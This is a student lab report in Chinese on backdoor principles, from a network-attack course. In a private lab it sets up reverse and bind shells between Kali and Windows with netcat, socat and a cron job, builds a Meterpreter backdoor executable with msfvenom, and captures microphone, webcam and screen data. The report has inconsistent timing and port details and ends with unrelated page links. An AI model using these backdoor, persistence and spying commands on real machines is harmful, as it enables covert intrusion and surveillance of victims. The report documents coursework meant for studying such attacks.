20155317王新玮《网络对抗》Exp2 后门原理与实践
20155317王新玮《网络对抗》Exp2 后门原理与实践
一、实验内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
二、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
(2)例举你知道的后门如何启动起来(win及linux)的方式?
(3)Meterpreter有哪些给你映像深刻的功能?
(4)如何发现自己有系统有没有被安装后门?
三、实验过程
(0)window linux 互相获取shell
用windows获取linuxshell
首先使用ipconfig查看ip:192.168.85.132
使用
ncat.exe
程序监听本机的5317
端口:
在Kali环境下,使用nc
指令的-e
选项反向连接Windows主机的5317端口:
Windows下成功获得了一个Kali的shell,运行ls
指令如下:
实验成功
用linux获取windows shelll
过程与之前的类似,在linux环境下用ifconfig
查看IP192.168.85.129
:
在Windows下,使用ncat.exe程序的
-e选项项反向连接Kali主机的
5236`端口:
Kali下可以看到Windows的命令提示,可以输入Windows命令:
实验成功。
(1)使用netcat获取主机操作Shell,cron启动
先在Windows系统下,监听5317
端口:
在Kali环境下,使用man crontab
指令查看crontab
命令的帮助文档,从文档中我们可以知道crontab
指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab
文件中,以供之后读取和执行。
用crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:
在最后一行添加46 * * * * /bin/netcat 10.1.1.141 5317 -e /bin/sh
,意思是在每个小时的第32
分钟反向连接Windows主机的317
端口,就会启动cron
。设置成05
的原因是我当时的时间是19点03,为了能立马看到效果,所以我将时间设置在了2分钟以后:注意 *与*之间一定要带空格。
在完成这个之后,在每个小时的46分钟,windows都会获得kali的shell。
(2)使用socat获取主机操作Shell, 任务计划启动
打开控制面板,搜索任务计划,如果找不到就选择帮助
在操作->程序或脚本中选择你的socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5317 exec:cmd.exe,pty,stderr
(两个参数之间用空格或者;),这个命令的作用是把cmd.exe
绑定到端口5317,同时把cmd.exe
的stderr重定向到stdout上:
创建完成之后,右键运行它。
在kali中输入socat - tcp:192.168.85.132:5317就可以成功
socat - tcp:windowsIP:端口
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
具体步骤为:
msfconsole:进入msf
use exploit/multi/handler:进入handler模式
set payload windows/meterpreter/reverse_tcp:设置payload
show options:查看当前信息状态
set LHOST 192.168.18.128:设置LHOST
set LPORT :设置LPORT
exploit:MSF开始监听
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.134 LPORT=5317 -f exe > 20155317.exe
生成后门程序:
通过nc
指令将生成的后门程序传送到Windows主机上:(在做这一步之前先将本机的杀毒软件和防火墙关闭)
其实。。。在这还出现了坑爹的情况。。
(唉。。。虽说注入dll也很容易,但是。。。
长话短说,最后下了个360安全卫士,一开始我还在自己下各种库,发现毛用没有,最后在测试的时候,发现还是缺dll,但是360在电脑上发现了异常检测,也就是出现了缺失dll的警告框,直接自动给装了一个微软常用dll,然后就搞定了)
在Kali上使用msfconsole
指令进入msf
控制台,使用监听模块,设置payload
,设置反弹回连的IP和端口:
为了打开这个,也是历经一番磨难。。。
一开始它是这样的。。。。:
出现了RangeError ,刚刚修好win7的我内心又要崩塌了,上网搜搜吧。。:
最后找到了一个这样的帖子:
链接如下:http://www.kali.org.cn/thread-31012-1-1.html,要开始读英文了。。。意思就是他改变了这个文件的值,我开始了尝试:
找了文件并且成功修改了,但是。。。
啊!。。。我开始了绝望,偶然发现一点(但是经过后来实践,是我一开始没有改正确,有两个“20”需要更改,改完之后便可以运行)
内心绝望的我只能换成64位kali重做。。
本实验除了步骤上,我认为最重要的一点就是 LHOST之后写的IP是kali本机的IP,在kali环境下输入的nc命令是用来连接windows,所以需要填写windows的IP
终于弄好了 开始了操作。。嘿嘿嘿
在打开wndows后门程序后
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用record_mic
指令可以截获一段音频:
使用webcam_snap
指令可以使用摄像头进行拍照:
使用webcam stream
指令可以使用摄像头进行录像
使用screenshot指令进行电脑抓图
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
四、实验总结
20155317王新玮《网络对抗》Exp2 后门原理与实践的更多相关文章
- 20155323刘威良 网络对抗 Exp2 后门原理与实践
20155323 刘威良<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...
- 20155331 丹增旦达 网络攻防 Exp2后门原理与实践
20155331 丹增旦达<网络攻防>Exp2后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...
- 20155302 Exp2 后门原理与实践
20155302<网络对抗>后门原理与实践 实验要求 1.使用netcat获取主机操作Shell,cron启动 (0.5分) 2.使用socat获取主机操作Shell, 任务计划启动 (0 ...
- 20155317王新玮《网络对抗技术》实验9 web安全基础实践
20155317王新玮<网络对抗技术>实验9 web安全基础实践 一.实验准备 1.0 实验目标和内容 Web前端HTML.能正常安装.启停Apache.理解HTML,理解表单,理解GET ...
- 20155317王新玮《网络对抗技术》实验8 WEB基础实践
20155317王新玮<网络对抗技术>实验8 WEB基础实践 一.实验准备 1.0 实验目标和内容 Web前端HTML.能正常安装.启停Apache.理解HTML,理解表单,理解GET与P ...
- 20155317 王新玮《网络对抗技术》实验5 MSF基础应用
20155317 王新玮<网络对抗技术>实验5 MSF基础应用 1. MS08_067安全漏洞 原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC ...
- 20155204 王昊《网络对抗技术》EXP2 后门原理与实践
20155204 王昊<网络对抗技术>EXP2 后门原理与实践 一.实验内容 准备工作(试用ncat.socat) 1. 使用netcat获取主机操作Shell,cron启动. 明确目标: ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
随机推荐
- python subprocess pipe 实时输出日志
* test11.py import time print "1" time.sleep(2) print "1" time.sleep(2) print &q ...
- D3、EChart、HighChart绘图demol
1.echarts: <!DOCTYPE html> <html> <head> <meta charset="utf-8" ...
- Python之生成器(generator)和迭代器(Iterator)
generator 生成器generator:一边循环一边计算的机制. 生成器是一个特殊的程序,可以被用于控制循环的迭代行为.python中的生成器是迭代器的一种,使用yield返回值函数,每次调用y ...
- JSP 过滤器
JSP教程 - JSP过滤器 JSP过滤器是可用于拦截来自客户端的请求或处理来自服务器的响应的Java类. 过滤器可用于执行验证,加密,日志记录,审核. 我们可以将过滤器映射到应用程序部署描述符文件w ...
- mysql 建立索引的原则(转)
索引查询是数据库中重要的记录查询方法,要不要进入索引以及在那些字段上建立索引都要和实际数据库系统的查询要求结合来考虑,下面给出实际中的一些通用的原则: 1. 在经常用作过滤器的字段上建立索引: 2. ...
- vs 2012/2013 等工具中,使用正则表达式,查找、替换
有这样一个需求,就是一个文本中,需要找出指定格式的字符串进行指定的替换,当前我的真实需求是,一个sql创建触发器的文本,我需要将所有的 包含 TB_SYS 的表名后面添加一个 “_NEW”字符串! 例 ...
- MySQL: Building the best INDEX for a given SELECT
Table of Contents The ProblemAlgorithmDigressionFirst, some examplesAlgorithm, Step 1 (WHERE "c ...
- 高斯求积公式 matlab
1. 分别用三点和四点Gauss-Chebyshev公式计算积分 并与准确积分值2arctan4比较误差.若用同样的三点和四点Gauss-Legendre公式计算,也给出误差比较结果. 2*atan( ...
- 1.2环境的准备(二)之Pycharm的安装和使用
目录: 1.Pycharm的安装 2.Pycharm的使用 (一)pycharm的安装: (1)官网下载:(分为两个版本,专业版和社区版,社区版就足够我们学习用的)https://www.jetbra ...
- [BZOJ 3652]大新闻
[BZOJ 3652] 大新闻 题意 随机从 \([0,n)\) 中选取一个整数 \(x\), 并从 \([0,n)\) 中再选取一个整数 \(y\). 有 \(p\) 的概率选取一个能令 \(x\o ...